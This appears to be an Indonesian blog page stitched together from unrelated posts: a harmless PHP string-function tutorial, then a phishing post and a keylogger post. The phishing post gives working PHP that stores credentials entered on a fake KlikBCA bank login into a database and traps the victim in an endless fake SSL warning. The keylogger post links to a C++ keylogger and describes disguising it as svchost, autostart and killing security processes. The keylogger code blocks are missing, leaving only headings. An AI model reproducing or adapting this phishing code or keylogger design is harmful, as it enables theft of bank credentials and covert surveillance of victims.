Berita Terbaru

Text adalah salah satu sumber unstructured data yang paling besar, karena sebagian besar informasi tersimpan dalam text, baik text dalam berbagai filetype (doc txt pdf dll) maupun web text (html). Dewasa ini semakin sering dilakukan riset yang melibatkan text, dan bidang ilmu komputer yang melibatkan text diantaranya adalah Natural Language Processing, Text (Web) Mining, ataupun Information Retrieval.
Berikut adalah beberapa fungsi text (string) dalam PHP yang akan sering digunakan apabila anda berkutat dengan penelitian yang melibatkan text processing.

1. Menambahkan slash (\) dalam string –> addslashes.
<?php
$text = "This is Anne's book.";
echo addslashes($text);
?>
Output :
This is Anne\’s book.
Kenapa hal ini penting? Dalam pemrosesan teks, seringkali tanda quote (‘) akan menimbulkan eror ketika dilakukan parsing terhadap text tersebut, terutama ketika kita menggunakan regular expression.

2. Memecah string dengan string –> explode.
<?php
$sentence = "My name is June";
$word = explode(" ", $sentence);
print_r($word);
?>
Output :
Array
(
[0] => My
[1] => name
[2] => is
[3] => June
)
Explode akan memecah text dan membaginya ke dalam array, seperti contoh diatas, $text di-explode dengan string ” ” (spasi). Hal ini merupakan dasar dari algoritma tokenizing, yaitu memecah kalimat dalam kata – kata penyusunnya. Tokenizing akan sering sekali digunakan dalam text processing.

3. Menggabungkan array string dalam satu string –> implode.
<?php
$arrayWord = array('This', 'is', 'a', 'sentence');
$joinString = implode(" ", $arrayWord);
echo $joinString;
?>
Output :
This is a sentence
Implode, seperti terlihat dari contoh diatas (contoh : array dalam contoh di-implode / digabung dengan menggunakan string spasi), merupakan kebalikan dari fungsi no 2 (explode). Fungsi implode memiliki alias, yaitu Join.

4. Memberikan nilai MD5 dari string –> md5.
<?php
$string = 'password';
$stringMd5 = md5($string);
echo $stringMd5;
?>
Output :
5f4dcc3b5aa765d61d8327deb882cf99
MD5 merupakan salah satu fungsi hash (kriptografi satu arah) yang cukup terkenal dan sering digunakan untuk security (meskipun sekarang sudah banyak md5 decryptor). Fungsi md5 seperti ini akan sering digunakan apabila kita membangun sebuah aplikasi yang memerlukan autentikasi (misal untuk login ke dalam sistem).

5. Menghilangkan HTML Tag dalam string –> strip_tags
<?php
$text = '<b>June Susan</b> <i> June June</i>';
echo strip_tags($text); echo '<br>';
echo strip_tags($text, '<i>'); // Allow tag <i>
?>
Output :
June Susan June June
Sebelum kita bisa memproses text dari web (yang biasanya berbentuk hypertext / html), maka kita harus “membersihkan” tag – tag html yang ada dalam text tersebut. Disinilah fungsi strip_tags berguna. Kita bisa menghilangkan seluruh tag, ataupun mengijinkan tag tertentu untuk tetap berada dalam text (lihat contoh).

6. Menghitung panjang string –> strlen.
<?php
$string = 'I am a superman';
echo strlen($string);
?>
Output :
15
Strlen menghitung jumlah karakter (panjang) dari string, spasi, dan simbol – simbol yang ada dalam string juga akan dihitung dalam fungsi strlen.
DFD PhishingPhishing!! Yeah, pasti sudah tahu kan apa artinya phishing?
Kalau belum tahu silahkan check it http://en.wikipedia.org/wiki/Phishing
Saya akan berbagi coding sederhana php dan database mysql dalam proses overflow. Data Korban akan di simpan ke dalam database, jadi sebelumnya kalian harus membuat database yang sesuai dengan Login Phishing.
Data Flow Diagram Phishing
Ketika korban terjebak dengan login phishing, web browser korban akan crash dan CPU Range Korban menjadi 100%

Sebagai contoh saya akan demonstrasi phishing pada KLIKBCA

bca

Membuat 3c.php
<?php
include “koneksi.php”;
$User = $_POST['UserId'];
$passwd = $_POST['passwd'];

$ip = getenv(REMOTE_ADDR);

$tgl = date(“j F Y, g:i a”);

$query = “INSERT INTO hack (user, passwd, ip, tgl) VALUES (‘$User’, ‘$passwd’, ‘$ip’, ‘$tgl’)”;
mysqli_query($konek, $query); // kirim query ke database
$hasil = mysqli_affected_rows($konek); // cek perubahan data di database
// login.php adalah URL Direct letak overflow
if ($hasil > 0)
{

header(‘location:../login.php’ );

}

else

{

echo “gagal”;

}

?>

Membuat koneksi.php
<?php
$database = “bca”; // nama database
$host = “localhost”; // nama host

$nama = “root”; // username database

$pass = “haning”; // password database

$konek = mysqli_connect($host, $nama, $pass, $database); // konek ke database
if(mysqli_connect_errno())
{

echo “Koneksi Ke Server Gagal.”;

exit();

}

?>

Tempat berlangsungnya overflow, saya namakan login.php
<?php
mysql_connect (“localhost”, “root”,”haning”) or die (mysql_error());

mysql_select_db (“bca”) or die(mysql_error());

$over = $_POST['login']; // button submit “login”
$sql = mysql_query(” select * from hack where user like ‘%$over%’ “);
$row = mysql_fetch_array($sql);
// Proses Oveflow, lebih tepatnya Perulangan Pencarian
if ($row > 0)
{

while ($row){

echo “At “.$row['tgl'].” Secure Socket SSL Invalid. Please, do not process access to BCA Internet Banking.<br>”;

}

}

else

{

echo “overflow gagal”;

}

?>
Tujuan di balik phishing ini adalah mencuri informasi korban di balik login palsu dan membuat panik korban. Ketika korban panik, maka ia akan menutup login tersebut dan sang Attacker mendapatkan user login korban di dalam database yang telah disiapkan sebelumnya.
Simak VIDEO nya Disini:



 





Untuk Download Video Demonstrasi Klik
DISINI
Artikel ini hanya semata-mata untuk pembelajaran, penulis tidak bertanggung jawab sama sekali atas tindakan diluar artikel ini. Gunakan artikel ini sebagai pembelajaran dan memproteksi diri.
Selamat mencoba & semoga berhasil, jangan lupa untuk berkunjung kesini untuk berkumpul dengan BinusHacker Family Lainnya:
Keylogger Sourcecode BinusHackersaya akan berbagi source keylogger saya untuk sekedar pembelajaran kita dan pemahaman kita tentang cara kerja sebuah malware yang termasuk kategori keylogger supaya kita lebih terbuka dan memahami.

Apa itu keylogger?
Mungkin dibeberapa artikel disini telah dibahas apa itu keylogger,namun untuk lebih jelasnya,saya coba jelaskan sekali lagi ya =)

Keylogger atau Perekam Ketikan merupakan sebuah perangkat baik itu perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol papan ketik [keyboard].
Sebuah perekam ketikan atau keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol papan ketik tersebut ke dalam sebuah berkas catatan (log file).
Beberapa perekam ketikan tertentu bahkan dapat mengirimkan hasil rekamannya ke surel [e-mail] tertentu secara berkala.
Keylogger dapat digunakan untuk kepentingan yang baik atau bahkan bisa digunakan untuk kepentingan yang jahat. Kepentingan yang baik antara lain untuk memantau produktivitas karyawan, untuk penegakan hukum dan pencarian bukti kejahatan. Kepentingan yang buruk antara lain pencurian data dan password. (wikipedia)
Beberapa kelebihan keylogger pada artikel ini?
  1. Keylogger berbasis API,full written in C++,mudah dikembangkan.
  2. Size keylogger yang relatif kecil, hanya 20-30 KB tanpa dikompresi.
  3. Mempunyai fitur self copy,auto startup,memonitoring proses yang aktif dan mengakhiri proses yang dapat membahayakan keylogger
  4. Tidak mempunyai GUI, sehingga tidak tampak di Tab App pada task manager
  5. No dependency, tidak usah membawa “beban” seperti keylogger yang dibuat dengan VB classic
  6. Silahkan ditambah sendiri :)

PROJECT KEYLOGGER
Mari kita mulai,pertama download Project Keylogger disini http://www.mediafire.com/?eb13zlbb80ic6r9
Oke, setelah anda download, bisa anda coba atau me-rebuild ulang projek tersebut. Saya asumsikan keylogger sudah berfungsi dan anda memahaminya, LOG file yang dibuat tidak serapih LOG file keylogger master MrHpx, sehingga anda bisa memodifikasi lagi sesuai keinginan anda.
Lanjut ke tahap pembuatan fungsi lainnya untuk membuat keylogger yang lebih powerfull
AutoStartup dan Self Copy
Untuk menambahkan fungsi autostartup,kita menggunakan fungsi sebagai berikut untuk mengakses dan menulis key pada registry:
Contoh Penggunaan AutoStartup:
Mendapatkan path asli dari keylogger, kemudian mencopy dirinya sendiri ke direktori windows dengan nama svchost kemudian membuat key untuk auto startup:
Anti Debug
Monitoring proses aktif dan melakukan aksi kill proses yang dianggap membahayakan keylogger
Preprocessor
Deklarasi Variabel
Fungsi Proses Killer:
Penggunaan Killer Proses
Membuat thread baru untuk menjalankan fungsi monitoring dan killer proses:
Oia fungsi tersebut, tulis di main.cpp..
Mengapa tidak membuat file .cpp baru dan menulis fungsi di file tsb? Hemmm.. Karena pada DevC++, pewarisan kelas membuat size program anda membengkak 100%. Entah mengapa, tidak seperti visual c++ buatan microsoft yang sudah dibekali optimasi pada kompilernya.
Mungkin dari anda, ada yang bertanya. Bagaimana dengan fungsi send lognya via e-mail? Owh itu tergantung kreativitas anda. Banyak referensinya.. hehe :P